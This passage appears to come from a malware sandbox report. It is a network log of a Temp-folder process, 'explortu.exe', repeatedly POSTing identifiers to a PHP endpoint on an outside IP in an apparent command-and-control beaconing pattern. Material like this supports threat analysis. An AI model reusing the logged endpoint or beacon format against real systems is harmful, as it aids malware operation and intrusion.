Jun 27, 2024 07:38:06.628318071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49753	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:06.753506899 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:07.423552036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:07.424438953 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:07.630537033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49754	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:07.749989986 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:08.436412096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:08.437349081 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:08.649847984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49755	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:08.894002914 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:09.568360090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:09.569109917 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:09.777288914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49756	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:09.899440050 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:10.564733028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:10.565432072 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:10.771794081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49757	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:10.890842915 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:11.560590982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:11.561358929 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:11.767607927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49758	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:11.874675035 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:12.559360981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:12.560101986 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:12.770561934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49759	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:12.890393019 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:13.565759897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:13.569118023 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:13.777976036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49760	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:13.890650034 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:14.575856924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:14.576926947 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:14.787879944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49761	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:14.906260014 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:15.578896999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:15.579674959 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:15.786418915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49762	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:15.906074047 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:16.576704979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:16.577568054 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:16.786216021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49763	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:16.907147884 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:17.578784943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:17.579499960 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:17.786792994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49764	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:17.906574965 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:18.584752083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:18.588186979 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:18.796510935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49765	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:18.906300068 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:19.599292994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
